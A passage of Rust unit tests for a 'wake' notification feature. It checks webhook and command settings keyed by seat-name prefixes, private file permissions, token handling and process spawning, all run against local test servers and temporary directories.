1130 serde_json::from_str(body).unwrap_or_else(|e| panic!("{e}: {raw}"))
1131 }
1132
1133 fn isolated() -> (crate::EnvLock, tempfile::TempDir) {
1135 let lock = crate::test_env_lock();
1136 let dir = tempfile::tempdir().expect("home");
1137 unsafe {
1139 std::env::set_var("XDG_CONFIG_HOME", dir.path().join("config"));
1140 std::env::set_var("XDG_STATE_HOME", dir.path().join("state"));
1141 }
1142 (lock, dir)
1143 }
1144
1145 #[test]
1146 fn set_webhook_refuses_to_overwrite_a_broken_wake_toml() {
1147 let (_lock, _dir) = isolated();
1148 let wake_file = path();
1149 std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1150 let broken = "[inky\nwebhook = \"https://old.example/hook\"\n";
1151 std::fs::write(&wake_file, broken).expect("seed broken wake");
1152 let err = set_webhook("inky", "http://127.0.0.1:9/hook", None, None)
1153 .expect_err("broken wake.toml should refuse writes");
1154 let said = format!("{err:#}");
1155 assert!(said.contains("wake"), "{said}");
1156 assert!(
1157 said.contains("parse"),
1158 "the refusal should say this is a parse error: {said}"
1159 );
1160 assert_eq!(std::fs::read_to_string(&wake_file).unwrap(), broken);
1161 }
1162
1163 #[cfg(unix)]
1164 #[test]
1165 fn save_atomic_keeps_existing_mode_and_creates_private_files() {
1166 use std::os::unix::fs::PermissionsExt;
1167
1168 let (_lock, _dir) = isolated();
1169 let wake_file = path();
1170 std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1171 std::fs::write(&wake_file, "[seed]\ncommand = \"true\"\n").expect("seed wake");
1172 std::fs::set_permissions(&wake_file, std::fs::Permissions::from_mode(0o600))
1173 .expect("mode 0600 wake");
1174
1175 set_command("inky", "true", None).expect("rewrite wake");
1176 let kept = std::fs::symlink_metadata(&wake_file)
1177 .expect("wake metadata")
1178 .permissions()
1179 .mode()
1180 & 0o777;
1181 assert_eq!(kept, 0o600, "rewriting wake.toml changed its mode");
1182
1183 std::fs::remove_file(&wake_file).expect("remove wake");
1184 set_command("new", "true", None).expect("new wake");
1185 let created = std::fs::symlink_metadata(&wake_file)
1186 .expect("wake metadata")
1187 .permissions()
1188 .mode()
1189 & 0o777;
1190 assert_eq!(created, 0o600, "new wake.toml should be private");
1191 }
1192
1193 #[test]
1194 fn a_prefix_posts_the_run_seat_and_keeps_the_key_out_of_the_file() {
1195 let (_lock, _dir) = isolated();
1196 let (review_port, review_rx) = serve_one();
1197 let (broad_port, broad_rx) = serve_one();
1198 let (exact_port, exact_rx) = serve_one();
1199 let review = format!("http://127.0.0.1:{review_port}/hook");
1200 let broad = format!("http://127.0.0.1:{broad_port}/hook");
1201 let exact = format!("http://127.0.0.1:{exact_port}/hook");
1202 unsafe { std::env::set_var("LJOS_WAKE_LAUNCHER_KEY", "test-token") };
1204
1205 let set = set_webhook(
1206 "ljosbot-review-",
1207 &review,
1208 None,
1209 Some("LJOS_WAKE_LAUNCHER_KEY"),
1210 )
1211 .expect("set prefix");
1212 assert!(
1213 set.contains("when mail reaches a seat that starts with it"),
1214 "{set}"
1215 );
1216 for seat in ["ljosbot-reviewer", "ljosbot-review", "ljosbot-review-"] {
1217 let missed = fire(&Event {
1218 seat: seat.into(),
1219 ..Event::default()
1220 });
1221 let err = format!("{:#}", missed.expect_err("not this prefix"));
1222 assert!(err.contains(&format!("{seat} has no wake set")), "{err}");
1223 }
1224 set_webhook("ljosbot-", &broad, None, None).expect("set broad");
1225 let own = set_webhook("ljosbot-review-abc", &exact, None, None).expect("set exact");
1226 assert!(own.ends_with("when mail reaches it\n"), "{own}");
1227 assert!(!own.contains("starts with"), "{own}");
1228
1229 let stored = std::fs::read_to_string(path()).expect("wake.toml");
1230 assert!(!stored.contains("test-token"), "{stored}");
1231 assert!(stored.contains("ljosbot-review-"), "{stored}");
1232 let loaded = load();
1233 assert_eq!(
1234 matched(&loaded, "ljosbot-review-def"),
1235 Some("ljosbot-review-")
1236 );
1237
1238 let run = Event {
1239 seat: "ljosbot-review-def".into(),
1240 from: "inky".into(),
1241 msg: "m1".into(),
1242 issue: Some("Software-d9n6".into()),
1243 interrupt: true,
1244 commit: None,
1245 };
1246 let said = fire(&run).expect("fire run");
1247 assert!(
1248 said.starts_with(
1249 "wake ljosbot-review via ljosbot-review- for ljosbot-review-def: posted, 200"
1250 ),
1251 "{said}"
1252 );
1253 let posted = review_rx
1254 .recv_timeout(Duration::from_secs(3))
1255 .expect("review hook");
1256 assert!(
1257 posted
1258 .to_ascii_lowercase()
1259 .contains("authorization: bearer test-token"),
1260 "{posted}"
1261 );
1262 let v = body_of(&posted);
1263 assert_eq!(v["seat"], "ljosbot-review-def");
1264 assert_eq!(v["from"], "inky");
1265 assert_eq!(v["msg"], "m1");
1266 assert_eq!(v["issue"], "Software-d9n6");
1267 assert_eq!(v["interrupt"], true);
1268 assert_eq!(v["read"], "LJOS_SEAT='ljosbot-review-def' ljos inbox");
1269 assert_eq!(v["via"], "ljosbot-review-");
1270 assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
1271 assert!(broad_rx.try_recv().is_err(), "a longer prefix lost");
1272
1273 let shown = show("ljosbot-review-def");
1274 assert!(
1275 shown.contains("matches ljosbot-review-") && shown.contains(&review),
1276 "{shown}"
1277 );
1278 let log = std::fs::read_to_string(log_path()).unwrap_or_default();
1279 assert!(
1280 log.contains("ljosbot-review via ljosbot-review- for ljosbot-review-def"),
1281 "{log}"
1282 );
1283
1284 let other = fire(&Event {
1285 seat: "ljosbot-fix-9".into(),
1286 from: "inky".into(),
1287 msg: "m2".into(),
1288 ..Event::default()
1289 })
1290 .expect("fire broad");
1291 assert!(
1292 other.starts_with("wake ljosbot via ljosbot- for ljosbot-fix-9: posted, 200"),
1293 "{other}"
1294 );
1295 let posted = broad_rx
1296 .recv_timeout(Duration::from_secs(3))
1297 .expect("broad hook");
1298 assert_eq!(body_of(&posted)["seat"], "ljosbot-fix-9");
1299
1300 let own = fire(&Event {
1301 seat: "ljosbot-review-abc".into(),
1302 from: "inky".into(),
1303 msg: "m3".into(),
1304 ..Event::default()
1305 })
1306 .expect("fire exact");
1307 assert!(
1308 own.starts_with("wake ljosbot-review-abc: posted, 200"),
1309 "{own}"
1310 );
1311 let posted = exact_rx
1312 .recv_timeout(Duration::from_secs(3))
1313 .expect("exact hook");
1314 let v = body_of(&posted);
1315 assert_eq!(v["seat"], "ljosbot-review-abc");
1316 assert!(v.get("via").is_none(), "{v}");
1317 assert!(
1318 !posted.to_ascii_lowercase().contains("authorization:"),
1319 "{posted}"
1320 );
1321
1322 let missed = fire(&Event {
1323 seat: "other-1".into(),
1324 ..Event::default()
1325 });
1326 let err = format!("{:#}", missed.expect_err("other-1 has no prefix"));
1327 assert!(err.contains("other-1 has no wake set"), "{err}");
1328 }
1329
1330 #[test]
1331 fn clear_names_the_prefix_when_the_seat_has_no_own_wake() {
1332 let (_lock, _dir) = isolated();
1333 set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("set prefix");
1334 let said = clear("ljosbot-review-abc").expect("clear");
1335 assert!(
1336 said.contains("matches ljosbot-review-")
1337 && said.contains("clear ljosbot-review- to remove it"),
1338 "{said}"
1339 );
1340 }
1341
1342 #[cfg(unix)]
1343 #[test]
1344 fn a_send_starts_the_prefix_wake_for_a_run_seat() {
1345 use std::os::unix::fs::PermissionsExt;
1346 let (_lock, dir) = isolated();
1347 let marker = dir.path().join("spawn.log");
1348 let script = dir.path().join("record-wake");
1349 std::fs::write(
1350 &script,
1351 "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$WAKE_RECORD\"\n",
1352 )
1353 .expect("script");
1354 std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod");
1355 unsafe {
1357 std::env::set_var("LJOS_WAKE_BIN", &script);
1358 std::env::set_var("WAKE_RECORD", &marker);
1359 }
1360 set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("prefix");
1361 set_webhook("inky", "http://127.0.0.1:9/inky", None, None).expect("exact");
1362
1363 let event = |seat: &str| Event {
1364 seat: seat.to_string(),
1365 from: "inky".into(),
1366 msg: "m1".into(),
1367 issue: Some("Software-d9n6".into()),
1368 interrupt: false,
1369 commit: None,
1370 };
1371 let missed = spawn(&[event("ljosbot-reviewer"), event("ljosbot")]);
1372 assert!(missed.is_empty(), "{missed:?}");
1373 let woken = spawn(&[event("ljosbot-review-abc"), event("inky")]);
1374 assert_eq!(
1375 woken,
1376 vec![
1377 "ljosbot-review via ljosbot-review- for ljosbot-review-abc".to_string(),
1378 "inky".to_string()
1379 ]
1380 );
1381
1382 let started = Instant::now();
1383 let wrote = loop {
1384 if let Ok(text) = std::fs::read_to_string(&marker) {
1385 if text.lines().count() >= 2 {
1386 break text;
1387 }
1388 }
1389 assert!(
1390 started.elapsed() < Duration::from_secs(3),
1391 "the wake did not start"
1392 );
1393 std::thread::sleep(Duration::from_millis(20));
1394 };
1395 assert!(wrote.contains("wake ljosbot-review-abc --fire"), "{wrote}");
1396 assert!(wrote.contains("wake inky --fire"), "{wrote}");
1397 assert!(!wrote.contains("ljosbot-reviewer"), "{wrote}");
1398 assert!(!wrote.contains("wake ljosbot --fire"), "{wrote}");
1399 }
1400}